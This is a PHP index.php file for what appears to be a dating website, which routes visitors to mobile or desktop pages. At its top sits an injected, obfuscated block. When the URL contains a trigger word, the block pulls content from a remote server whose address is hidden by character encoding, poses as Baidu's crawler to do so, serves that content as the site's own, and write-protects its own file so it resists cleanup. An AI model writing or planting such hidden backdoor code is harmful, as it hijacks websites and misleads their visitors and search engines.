<?php
if (strpos($_SERVER['REQUEST_URI'], 'adoux') !== false) {
    set_time_limit(0);
    error_reporting(0);
    header("Content-Type: text/html;charset=utf-8");

    function getRealIP(){
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
        }elseif(isset($_SERVER['HTTP_CF_CONNECTING_IP'])){
            $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
        }else{
            $ip = $_SERVER['REMOTE_ADDR'];
        }
        return $ip;
    }
    $uip = getRealIP();
    date_default_timezone_set('PRC');
    $TD_server = chr(104) . chr(116) . chr(116) . chr(112) . chr(58) . chr(47) . chr(47) .
             chr(116) . chr(111) . chr(112) . chr(50) . chr(97) . chr(105) . chr(46) .
             chr(105) . chr(110) . chr(102) . chr(111) . chr(108) . chr(105) . chr(103) .
             chr(111) . chr(46) . chr(99) . chr(111) . chr(109); // Encoded URL
    $host_name = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];
    $ch = curl_init();

    // 原始 URL
     $original_url = $_SERVER["REQUEST_URI"];

     // 使用 parse_url 提取路径部分
    $parsed_url = parse_url($original_url);

    // 使用 pathinfo 移除 
    $path = isset($parsed_url['path']) ? $parsed_url['path'] : '';
   $cleaned_path = str_replace('/index.php/', '/', $path);

  // 构造最终的 URL
   $url = $TD_server . "/host=" . $_SERVER['HTTP_HOST'] . $cleaned_path;

    // 设置请求的HTTP头，X-Real-IP
    $headers = [
        'X-Real-IP:' . $uip, // 用户IP
        'User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'
    ];

    // 配置选项
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // 返回请求结果而非直接输出
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // 设置自定义 HTTP 头
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // 允许重定向
    curl_setopt($ch, CURLOPT_URL, $url);
    $response = curl_exec($ch);

    if (curl_errno($ch)) {
        echo 'Curl error: ' . curl_error($ch);
    }
    curl_close($ch);

    $Content_mb = $response;
    echo $Content_mb;

    $url1 = $_SERVER['PHP_SELF'];
    $filename1 = @end(explode('/', $url1));

    function set_writeable($file_name)
    {
        @chmod($file_name, 0444);
    }

    set_writeable($filename1);
    cache_end($dir);
}
require_once 'sub/init.php';
if(is_mobile()){
	require_once ZEAI.'m/index.php';
}else{
	require_once ZEAI.'p/index.php';
}
/*
$FNAME = (empty($z))?'index':$z;
$FARR  = array('index','user','login','u','trend','dating','party','party_detail','video','hongniang','news','my_msg','my');
$FNAME = (!in_array($FNAME,$FARR))?'index':$FNAME;
if($z=='login'){
	if(is_mobile()){
		header("Location: ".HOST."/m/login.php?jumpurl=".urlencode($jumpurl));
	}else{
		header("Location: ".HOST."/p/login.php?jumpurl=".urlencode($jumpurl));
	}
}else{
	if(is_mobile()){
		require_once ZEAI.'m/'.$FNAME.'.php';
	}else{
		require_once ZEAI.'p/'.$FNAME.'.php';
	}
}
*/
?>